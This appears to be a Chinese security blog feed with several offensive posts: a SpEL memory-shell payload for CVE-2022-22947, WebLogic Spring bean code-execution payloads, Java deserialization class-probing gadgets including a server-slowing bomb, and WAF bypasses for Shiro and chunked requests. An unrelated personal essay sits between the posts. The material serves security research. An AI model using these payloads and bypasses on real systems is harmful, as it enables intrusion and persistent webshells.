最近小火的漏洞CVE-2022-22947
虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命令就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。
下面以vulhub中的spring cloud gateway 3.1.0
作为环境,来分享下构造netty层和spring层的内存马,其他版本思路相同。
Spring cloud gateway对payload的稳定性要求比较高,一旦报错是由可能会影响业务的。所以在开始之前,我们需要先构造一个”优质”的SPEL执行java字节码的payload。
我主要对payload进行了如下的优化:
1 | #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()} |
netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。
不像常规的中间件,filter/servlet/listener
组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer
(下面简称为configurer),因此注入netty内存马的关键是分析configurer
如何被netty管理和工作的。
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer
是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。一般情况下第一个参数是不为空配置,第二个参数为空配置,所以返回的configurer是Spring cloud gateway默认的。
如果我们能够设置第二个other参数不为空配置呢? 那么这两个configurer将被合并为一个新CompositeChannelPipelineConfigurer
。
1 | // reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer |
CompositeChannelPipelineConfigurer
会循环调用所有合并进来configurer
来对pipeline
添加handler
。
1 | // reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer |
因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现reactor.netty.transport.TransportConfig
类的doOnChannelInit
属性存储着other参数,我使用java-object-searcher以doOnChannelInit
为关键字,定位出了它在线程对象的位置。
1 | TargetObject = {[Ljava.lang.Thread;} |
最终内存马构造如下:
1 | public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer { |
Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,这里我分享下最简单的RequestMappingHandler
。
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler
类和它三个组件来完成
具体逻辑如下:
1 | // org.springframework.web.reactive.DispatcherHandler#handle |
基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping
注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。
这里我选择RequestMappingHandlerMapping
这个HandlerMapping,来注册一个与使用@RequestMapping("/*")
等效的内存马。
1 | public class SpringRequestMappingMemshell { |
那怎么获取到RequestMappingHandlerMapping
呢?通过java-object-searcher自然可以定位到,小组的@whw1sfb
师傅提到了一种更简便的方案,从SPEL上下文的bean当中获取!
从最后的效果来看,spring层的内存马更好做兼容性,因为可以直接从bean当中获取目标对象,唯一要考虑的就是注入方法在各个版本是否兼容。
关于各个协议和组件的内存马的构造思路其实都大同小异,说白了就是分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。
出题人的Writeup当中提到了一个非预期解,上传一个ASCII jar并执行它来解题。思路都好理解,但如何构造这个特殊的jar,一笔带过了。文章里介绍的工具也是不能直接使用的。这篇文章主要是分享ASCII jar的构造思路。
在开始之前,我们先思考一个问题,为何需要控制字节在ASCII(0-127)之内呢?
这是因为题目写的文件内容是一个String
而不是一个byte[]
,String
的编码决定着它的byte[]
。各类编码是可以兼容ASCII的,无论怎么编码转换,ASCII范围的字符二进制都可以做到不变。
所以该题最终需要控制jar的内容在0-127同时不包含被转义的&<'>"()
字符。
jar格式包含着各类信息,我们需要让每一部分都在允许的字节范围内。但每部分生成的算法并不相同,所以需要分别构造,最终合并成一个合法的jar。
一个简单的jar格式大概如下
1 | def wrap_jar(raw_data,compressed_data,zip_entry_filename): |
要想让所有部分都在限定的ASCII范围,其实是需要如下7个部分要满足要求。
1 | 1. compressed_data |
这里zip_entry_filename
为Exploit.class
的话,5和6是满足要求的。1条件中的compressed_data
是deflate算法压缩后的数据,这部分是可以调用ascii-zip
项目中的实现来构造的。所以还剩下4部分需要限定下。
1 | 1. struct.pack('<L', crc) |
一个文件的crc
,raw_data
和compressed_data
之间都是互相有影响的。当然可以尝试寻找一个数学公式能表达它们的关系,最终计算出符合条件的jar格式。这个显然是优雅的,但是实现成本比较高。我最终采用的是往class不断填充垃圾数据,直到4个部分都符合要求。
假设我们构造的jar是往web目录下写一个jsp,代码可以如下,其中paddingData
字段是填充垃圾数据的地方。
1 | import org.apache.jasper.compiler.StringInterpreter; |
使用上面作为模版代码,编写python脚本不断向paddingData字段填充垃圾数据,然后javac编译,最后计算class文件压缩之后是否符合条件。
1 | #!/usr/bin/env python |
我这边的编译环境是填充了248个A
就满足要求了。
1 | ➜ ascii-jar git:(master) ✗ python3 ascii-jar-1.py |
zip格式的文件都是支持前后加脏数据的,不过加脏数据之后需要修复下各类offset
。可以使用zip命令进行修复,为了省事,这里我直接使用phith0n师傅的PaddingZip项目来修复。
1 | $ python3 paddingzip.py -i ascii01.jar -o payload.jar -p "DIRTY DATA AT THE BEGINNING " -a "C0NY1 DIRTY DATA AT THE END" |
可能你会有疑问,为啥末尾的脏数据是C0NY1
+ DIRTY DATA AT THE END
。这是因为题目的代码,在获取参数时进行了trim
操作。
trim操作会将字符串首尾小于或等于\u0020
的字符清理掉,而正常的zip文件末尾都是00
等空字节结尾的,这会导致末尾数据丢失。
1 | // java.lang.String#trim |
为了解决这个问题,我们需要一个大于\u0020
的字符插入结尾,比如C0NY1
。
修改offset之后,使用hex编辑器把jar + C0NY1
的数据抠出来就是最终要提交的payload了。
构造META-INF/resources/shell.jsp
类型的ascii-jar
更加简单,感兴趣的直接参考我github项目ascii-jar当中ascii-jar-2.py
的代码。
最后的利用步骤官方Writeup讲的很清楚,这里就不赘述了。
综合来看WreckTheLine战队的解法,我认为是最好的,两个步骤直接搞定。官方writeup写入非法jar,业务重启会崩溃。Sauercloud战队使用的org.apache.jasper.compiler.StringInterpreter
并不能通杀tomcat。
最后感谢作者提供了这么好的一道ctf题,一道好题就像是一部不错的悬疑片,环环相扣耐人寻味。哪怕是解决之后脑海里依然在思考这些trick在实战中的意义,比如jar中的META-INF/resources/
目录是不是可以用来做权限维持?
魁兄,小我一届,爱诗喜酒嗜编程,是我目前认识的最有才情的程序猿。原先虽然同处一个工作室,然生活并无交集。
真正认识是在一年冬天的夜晚,工作室三大学霸因获得奖学金而请通宵唱歌,而我和他正好在邀请之列。
麦霸们开始争相在点播机前点歌,酒鬼们也用他们坚硬的牙齿翘开一瓶又一瓶黄河啤酒,“烟筒”们自然也没有闲着嘴,叼着黑兰州并互相给对方点火,不时吐出一抹白烟,缭绕在空气中。我就穿梭在这些之间,乐此不彼。
魁兄到是不识人间烟火,手里握着还没拧开口的白酒,安静的坐在一个被人遗忘的角落,不说话。脸上平静而祥和,到是有点像暮年的老者看着一群年轻人狂欢的寂寞。ktv红红绿绿的灯光,和他似乎有些格格不入。我以为没人跟他说话,于是跟工作室其他男男女女寒暄几番之后。我把酒杯藏在身后向他走去,他身边的学弟们也识趣地给我让出一个位置~
我:“魁兄,你的酒杯呢?”
我瞟了他一眼
他淡淡说到:“啤酒不醉人,又不暖心,不喜”。
我看了看天花板,叹气道:“那咱来一个冬天的白酒”。
他:“甚好”
⋯⋯⋯⋯
我们就这样,在红男绿女的狂欢之中,在杯觥交错之间聊起编程,聊起C语言,python,Linux,还聊起了他的诗和故事。其实平生也是第一次在KTV里讨论编程知识,感觉是有点怪怪,不过相谈甚欢。聊天具体的内容我也不太记得了。只记得那个冬天,一杯白酒温暖了整个夜晚⋯⋯
时间回到了前天夜里,我照常在学院看书,他突然发消息给我说来取他的诗集,我欣喜不已去他宿舍。他做在窗台边,背景是无尽的夜色。
他平静的说:现在也写不出诗了,我整理了一些能看的凑成一本小册子,你们将就着看吧!
我:为何写不出?
他打开窗户,外面的雪飘了进来,划过他的臂膀。他背对我说:没感觉了,或许编程太多,或许环境变了,或许我也不知道为何。
我默不作声,走到门口。
我:魁兄既有雪夜赠书之意,我亦有勾句还汝之情。
魁兄也不做声,笑的像个孩子一样,甚是可爱
你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍,均无法RCE。由于没有报错信息,你根本无法确定是下面那个原因导致。
单纯的盲测,工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget,这些问题将很好解决!
在构造之前我们先思考一个问题,Java原生反序列化是会检测serialVersionUID
的。当我们本地序列化Class和服务器上的Class SUID不一样的时候,哪怕是真实存在这个类,我们也无法探测成功。涉及这一块检测在JDK如下方法中。
1 | // java.io.ObjectStreamClass#initNonProxy |
我们不难判断出来如果要绕过serialVersionUID
的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过,假设我们要探测A类存不存在。
动态生成一个A类
不实现Serializable
接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为0L
,第三个条件不符合,自然无需检查。
直接序列化A[].class
,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。
这里我选择按照1的方式动态生成Class:
1 | public static Class makeClass(String clazzName) throws Exception{ |
沿用之前的包裹大量脏数据绕WAF的思路来构造,发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。
1 | List<Object> a = new LinkedList<Object>(); |
通过Object属性也无法成功。第一个属性反序列化失败,第二个属性依然会被反序列化。
1 | Class A { |
调试后发现不存在class抛出的ClassNotFoundException
异常,被try...catch
了,并不能阻断java.io.ObjectInputStream#readObject
内部流程,但是可以阻断其他可序列化类的readObject
流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路,才能断链。
在一次午饭的时候和@NoPoint
师傅交流,说到了可以改造URLDNS这个gadget探测class,我之前是在fastjson中使用过类似的思路。
重新分析了下URLDNS
的调用链,发现可以在HashMap#readObject
处阻断。当反序列化key-value时,如果value是一个不存在的Class的话,将会报错退出for循环,URL对象
作为key
将不会被putForCreate
到hashcode
方法触发dnslog。
1 | // java.util.HashMap#readObject |
最终gadget构造如下:
1 | ({ Authors.NOPOINT,Authors.C0NY1 }) |
1 | java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap |
有些环境可能没有配置DNS服务,这个时候就无法使用上面的gadget来探测。为了应对这个场景,我第一时间想到的就是改造JRMPClient
。但是看了下调用链中的class没有Object类型的属性,没法断链。于是只能去挖掘新gadget,后面大约花了一周时间也没有成果。加之有其他事情,构造的事就搁浅了一段时间。直到无意间拜读@fnmsd
师父的文章,看到了@Joshua Bloch
的《effective java》,瞬间来了灵感。
里面给出了一个反序列化炸弹的技巧,通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。 控制深度确定时间,使用class作为HashSet节点,
1 | ({ Authors.C0NY1 }) |
由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25
到28
之间,切记不要设置太大否则造成DOS。
我们来看下效果。InvokerTransformer类存在,延时25s。
1 | java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28" |
InvokerTransformer666类不存在,不延时。
要想在实战中使用,我们就需要事先去制作一份class的checklist
备用。下面我通过diff maven中央仓库的统计的结果。最新的checklist
和gadget
都更新到ysoserial-for-woodpecker
项目。
必须存在类:org.apache.commons.collections.functors.ChainedTransformer
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 3.1 or = 20040616 | org.apache.commons.collections.list.TreeList | 是 | 无 |
>= 3.2.2 | org.apache.commons.collections.functors.FunctorUtils$1 | 否 | 无 |
必须存在类:org.apache.commons.collections4.comparators.TransformingComparator
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 4.1 | 否 | 存在org.apache.commons.collections4.FluentIterable | 无 |
4.0 | 否 | 不存在org.apache.commons.collections4.FluentIterable | 无 |
必须存在类:org.apache.commons.beanutils.BeanComparator
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
>= 1.9.0 | 是 | 存在org.apache.commons.beanutils.BeanIntrospector | org.apache.commons.beanutils.BeanComparator -2044202215314119608 |
1.7.0 <= <= 1.8.3 | 是 | 存在org.apache.commons.collections.Buffer | org.apache.commons.beanutils.BeanComparator -3490850999041592962 |
>= 1.6 or = 20030211.134440 | 是 | 存在org.apache.commons.beanutils.ConstructorUtils | org.apache.commons.beanutils.BeanComparator 2573799559215537819 |
>= 1.5 or 20021128.082114 > 1.4.1 | 是 | 存在org.apache.commons.beanutils.BeanComparator | org.apache.commons.beanutils.BeanComparator 5123381023979609048 |
必须存在类:com.mchange.v2.c3p0.PoolBackedDataSource
版本范围 | 漏洞版本 | 判断类 | suid冲突 |
---|---|---|---|
0.9.5-pre9 ~ 0.9.5.5 | 是 | 存在com.mchange.v2.c3p0.test.AlwaysFailDataSource | com.mchange.v2.c3p0.PoolBackedDataSource -2440162180985815128 |
0.9.2-pre2-RELEASE ~ 0.9.5-pre8 | 是 | 不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource | com.mchange.v2.c3p0.PoolBackedDataSource 7387108436934414104 |
以c3p0为例子,我们判断的步骤应该是
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
是否存在,若存在C3P0可用com.mchange.v2.c3p0.test.AlwaysFailDataSource
是否存在,存在说明是高版本,suid切换-2440162180985815128
。否则切换7387108436934414104
有了类探测当然不只可以做排查gadget可用性问题,只要你维护出一个不错的class checklist。如下信息都可以判断:
其他类型(Xstream/Fastjson/SnakeYaml…)的反序列化gadget也是一样的思路,小tips是否可以变成利器,看挥舞它的人。
有一次通过CVE-2020-14882
漏洞打了一台Windows上的weblogic 10.3.6.0
,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。
1 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> |
只能思考如何构造可以执行任意代码的spring bean xml
来一键注入内存马了。
weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。
同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。
接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。
目前公开的payload是将恶意数据传入构成函数,然后通过init-method
来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。
在weblogic 10.3.6.0版本有一个oracle.toplink.internal.sessions.UnitOfWorkChangeSet
类,构造函数可以直接触发反序列化。
1 |
|
但是这个payload需要有gadget才能任意代码执行,显然不是很完美。
在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。
1 | String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>"; |
把上面代码转成spring bean如下:
1 |
|
这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。
后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路
很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看官方文档时,我着重关注如下涉及方法调用的标签和属性。
标签/属性 | 分析 |
---|---|
<bean><constructor-arg></constructor-arg></bean> | 调用构造器 |
<property> | 创建bean时,可调setter方法 |
init-method | bean初始化时,可以调用一个无参方法 |
destroy-method | bean被销毁时,可以调用一个无参方法 |
lookup-method | 可以控制返回结果,但是weblogic没有cglib库,这个标签没发用 |
replace-method | 任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑 |
factory-method | 通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以 |
很显然factory-method非常符合我们的要求,构造起payload就轻松多了。
1 |
|
jndi有jdk版本限制,so继续优化。
1 |
|
加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。
1 | new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$...").newInstance(); |
代码转换为spring bean:
1 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> |
有的JDK版本下bcel被去掉了,so还得继续优化。
java下执行代码要说兼容性最好,当然还得是java.lang.ClassLoader#defineClass
。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。
1 | byte[] clazzBytes = new byte[]{-54,-2,-70,-66,0,......}; |
通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。
构造过程还遇到一个问题,使用<list>
标签存储class字节码导致payload要大很多。当然有的人会想的用weblogic.utils.Hex
来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑weblogic.*
包名下的。最后找到了如下两个,不过1
没有被当前classloader加载,只能选择2
。
最终优化如下,大概就是我目前觉得最好的payload了。如果你有更好的payload欢迎留言交流。
1 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> |
顺便写一个woodpecker插件留以后备用,美如画。
在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — BeanShell1
这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。
通过使用java-object-searcher搜索,找到敏感信息存储在bsh.NameSpace
类的variables
属性中。
通过阅读该类代码,发现只有setTypedVariable
方法对variables
进行put
操作,在该处下断点。
重新调式,看到当前运行路径
被put进来后,顺着调用堆栈往上分析。发现BeanShell1
在Interpreter
对象初始化时,调用bsh.Interpreter#initRootSystemObject
设置了bsh.cwd
值为当前运行路径
,最终它被保存到了序列化数据中。
既然Interpreter
对象通过setu
方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。
所以要构造一个干净的BeanShell1 gadget,只需要在Interpreter
对象创建后反射调用setu
方法覆盖bsh.cwd
值为.
(第13-15行代码)即可。
1 | "rawtypes", "unchecked" }) ({ |
目前已经给ysoserial
项目pr,等待官方修复。当然大家也可以使用我二次开发的ysoserial-for-woopecker。
一大早就看到L-codes
师傅发消息说,Neo-reGeorg jsp服务端又出现问题了,印象里已经不是一两次了。大部分都是兼容性问题,这次也不例外。
是时候设计一个一劳永逸的方案了。
我们知道jsp从被访问到运行,经历如下阶段。
本案例中发现tomcat work目录下已经存在了tunnel_jsp.java
,但是没有tunnel_jsp.class
,说明阶段1已经过。结合页面报错信息,在2阶段时Tomcat内置的编译器JDTCompiler,编译报错了。
检查tunnel_jsp.java
代码并没有语法错误,尝试使用javac编译,编译成功!看来JDTCompiler与javac实现逻辑并不同,而且没有javac强大。
编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个.jsp
的兼容,无非就是让它在各个中间件下成功变成一个.class
。而这个过程与具体中间件的jsp转换器
的解析机制,java编译器
的编译机制和servlet-api
的版本息息相关。
那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码,然后jsp来加载和调用,来提高这个过程的成功率呢?。总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码,同时尽可能的减少jsp代码,少用api少用语法糖少用特性。
我们先来移植服务端模版代码为java代码。直接新建一个NeoreGeorg.java
,将jsp中的方法直接copy,主体代码的移植需要注意2个问题。
第一、参数提炼问题。我们需要把模版变化的地方,提取出来作为参数,比如X-CMD
这样的指令,POST request read filed
这样的提示,Neo-reGorg需要通过随机替换它们实现流量加密。
第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来,但是这样要多写些反射代码。本着jsp代码越少越好原则,使用每个类都有的equal(java.lang.Object)
方法。
1 | // https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java |
为了兼容更多的jdk版本我们这里选择使用1.5编译,同时为了class体积更小,可以使用-g:none
去掉调试信息。
1 | javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java |
jsp部分很简单,定义一个classloader用于加载class,然后将该class newInstance进行调用。有二个点可以简单讲讲。
第一,class字节码的存储方式问题。本着少用api的原则,我直接用byte数组存储。当然如果字节码太多,可能会有The code of method _jspService(...) is exceeding the 65535 bytes limit
报错问题,推荐用hex编码解决。
第二,全局存储class对象问题。推荐使用application
对象,而不是session
对象进行存储,否则遇到负载的情况就麻烦了。
1 | // https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp |
经过测试在各个中间件下稳定运行,顺手给L-codes师傅一个pr。
其实这个方法可以使用很多jsp脚本的改造,比如内存马注入jsp,jsp大马,蚁剑一句话木马等等。大家可以照猫画虎,自行修改。
]]>woodpecker-framework是一款高危漏洞综合利用框架,目的是可以狙击高危漏洞,拿到权限!其设计是由我在日常红队外围打点经验抽象得来。它的每个模块和外围打点的主要流程是一一对应的。
比如遇到一个具体的外围应用,渗透测试的流程是:
下面围绕weblogic和shiro这两个高频漏洞应用来详细介绍每个模块。
信息探测模块的任务是寻找当前应用最薄弱的点。 显然有用的信息是判断的重要依据。这里探测的信息不是什么操作系,中间件,cms之类的指纹识别。而是针对具体应用的攻击面和风险点的探测,比如weblogic就会探测如下信息。
顺便值得一提的是,我们探测t3/iiop协议的时候,还需要探测它们是否被设置为禁止连接,不然探测出open也是无法利用的。如上图的t3开启了但是配置了如下过滤。
1 | weblogic.security.net.ConnectionFilterImpl |
这些信息有什么用呢?当然是让我们知道面前这个weblogic的薄弱点在哪里,后续攻击的计划应该是:t3和iiop系列漏洞不用测试了,wls-wsat组件的xmldecoder反序列化漏洞可以看看。
精准检测模块的任务是使用poc去判断漏洞是否存在。 显然精准是这个模块关注的问题,我们的原则是误报可以原谅,但是漏报坚决杜绝。
那现实如此复杂的漏洞环境,怎么实现精准检查呢?woodpecker插件的检测原则是尽可能的实现以下所有检测方案。
这里我细说下3
,5
和7
这三个方案,其他方案顾名思义。
间接检测
是不通过直接触发漏洞来检测,而是通过其他方面间接来验证。举2个例子,shiro key的检测由开始的通过回显,dnslog之类的直接检测变成了现在统计rememberMe个数。weblogic漏洞检测则可通过下载黑明单class来验证是否被修复。这些方法很巧妙,在漏检中有四两拨千斤的作用。
触发补丁检测
就是提交可触发补丁的payload,然后看是否拦截来确定漏洞是否修复。比如CVE-2019-2725我们就可以发送带
特定特征检测
就是通过respone的某些特征可以知道漏洞是否修复,比如CVE-2020-14882/3漏洞修复后的响应如下,那咱们就可以通过repsoen状态码为500
,返回包中存在The server encountered an unexpected condition which prevented it from fulfilling the request.
提示来判断。
深度利用模块的任务是发挥漏洞的最大利用价值。比如一个RCE可以干的事情很多,命令执行,写文件,读文件,反弹shell,注入内存马,开启bindshell等等。不过最后我梳理了下,很多功能都是有交集的,比如反弹shell可以通过命令执行来反弹,读文件可以通过webshell来读。所以在红队行动中,真正对我们有用的一般是三个功能,woodpecker插件编写的原则上要求深度利用模块必须实现这3个功能,并保证稳定性。
荷载生成模块的任务是帮助红队人员快速生成自定义payload。 自动化并不能解决所有问题,当遇到奇葩环境时就需要人工介入。比如当shiro漏洞遇到未知中间件时,可能无法回显也无法注入内存马,这时就需要人工构造payload了。但是每次都要先生成序列化数据,设置key,选择加密模式,非常浪费时间。而woodpecker shiro漏洞插件的荷载生成模块可以一键生成。
该模块的任务是将漏洞检测和利用中经常要进行的操作自动化,节省时间。
比如在java命令执行漏洞中无法使用带有管道符的命令,需要我们去转换下命令。当然有Jackson_T这样的在线网站,这里我编写成了本地插件。
同时如果想通过命令执行漏洞写一个shell的话,往往需要转义下,这个过程也是比较繁琐的。可以使用EchoToFileConverter插件来解决。
如果你比较认同这样的设计,并有能力编写插件。欢迎到github提交pr或者插件。
]]>当下WAF对shiro的防护,确实比较严格。对rememberMe的长度进行限制,甚至解密payload检查反序列化class。本周我遇到一个场景,就是这种情况。使用之前的方法rememberMe
=加密payload
+==垃圾数据
也失败了,这个方法之前有大佬分享过,我就不再赘述了。我最终使用未知HTTP请求方法
解决战斗。
当时我的思考是shiro的payload在header上,如何修改request header可以导致waf解析不出来,但是后端中间件正常解析呢?
第一步,先构造出先绕WAF,哪怕改成不合法的数据包。
第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。
我把被拦截的包发送的repeater模块,尝试切换http版本,添加垃圾header头等等方法均没绕过。在修改GET方法为XXX
这样的未知HTTP请求方法时,发现WAF不在拦截,但是后端报错了。
接下来验证下后端是否真正处理了rememberMe。我先请求去掉rememberMe,response对应的rememberMe消失了
然后再加上rememberMe,repseone的remeberMe又回来了。这说明后端正常处理rememberMe,这么绕WAF没问题!
最后将之前注入内存webshell的payload修改下请求方法,成功下Web权限。
方法简单粗暴,不难推断WAF是通过正常的http方法识别HTTP数据包的。但是为何后端中间件依然能拿到rememberMe的结果呢?
于是我在本地代码org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
处下了断点。
通过XXX方法
发送数据包,调试发现request.getCookies
可以获取到rememberMe
值,而且如下方法均可正常使用。说明未知HTTP请求方法不影响各类参数的读取。
1 | request.getHeader |
那对三大组件的调用是否有影响呢?继续翻阅Tomcat源码,我发现Listener被调用是受行为事件
影响,Filter是受请求路径
影响,而Servlet是受请求路径
和HTTP请求方法
影响。一旦遇到未知方法,Servlet不再进入业务代码,直接返回一个http.method_not_implemented
报错。具体代码如下:
1 | //javax.servlet.http.HttpServlet#service |
所以得到一个结论就是 未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况。
]]>chunked-coding-converter
在0.2.1以及之前版本是不支持对二进制数据进行分块的。这个问题实验室的darkr4y
师傅今年3月份的时候就已经反馈了多次,由于懒癌在身一直没有更新。直到我自己遇到一个站点,反序列化带大量脏数据没有绕成功,于是又想起了分块传输。花了一点时间让插件支持了二进制数据,然而这样依然被拦截了!
这也在意料之中,分块传输被公开已经有两年之久,很多WAF已经支持检测。那有没有办法让这个姿势重振往日雄风呢?
通过测试,发现WAF一般是如下应对分块传输的。
0\r\n\r\n
当时和darkr4y
师傅交流时,我们曾做过一个设想,在上一块传输完成后,sleep一段时间,再发送下一块。 目的是在2阶段延长WAF分块传输线程的等待时间,消耗WAF性能。这时有没有可能WAF为自身性能和为业务让步考虑,而放弃等待所有分块发送完呢? 。这次正好遇到适合的环境来验证一下想法。
当然了,我们块与块之间发送的间隔时间必须要小于后端中间件的post timeout
,Tomcat默认是20s,weblogic是30s。
为了加大WAF的识别难度,我们可以考虑以下3点。
首先我们需要对原始request header进行处理。需要把Content-Length
删除,分块传输不需要发送body长度,然后加上Transfer-Encoding: chunked
头。
1 | headers.remove("Content-Length"); |
其实调用HttpURLConnection.setChunkedStreamingMode(int chunkedLen)
就可以实现分块发包。不过这个接口只能设置固定分块长度,而且无法直接控制分块时间间隔。于是我打算用socket来模拟发送http/https分块传输包,这样要灵活的多。以下是实现的简化代码。
1 | // 1.连接目标服务器 |
为了方便日后使用,我给chunked-coding-converter插件添加了sleep chunked sender
,并添加很多细节功能,比如预估分块数量范围和延时范围,显示每一块发送的内容,长度,延时时间以及发送状态等等。
这里我直接使用最新版本,将被拦截的数据分成218块
,共延时1分46秒
发送,最终成功绕过WAF。
最后列一点边边角角的东西,当餐后”甜点“,需要请自取。
前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是有WAF,ysoserial生成的序列化数据直接就被拦截了。
绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头aced0005
删掉,发现还是被拦截了,看来WAF没开启无脑的hw模式。
接着将序列化数据当中的class名破坏,发现不再拦截了。说明WAF应该是把gadget的class加入了规则。
考虑到大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。于是我在序列化头后加了50000
个x
字符,发现WAf不再拦截,证明这个思路可行!
这样虽然绕过了WAF,但新的问题也来了。序列化数据是二进制数据,直接手工在burp里加入垃圾数据破坏了序列化数据的结构,后端代码并没有反序列化成功。接下来继续解决这个问题。
我的思路是需要找到一个class可以序列化,它可以把我们的脏数据对象
和ysoserial gadget对象
一起包裹起来。
1 | class A { |
所以我们要找的class,第一需要实现java.io.Serializable
接口,第二可以存储任意对象 。这么看来集合类型就非常符合我们的需求。
伪代码如下:
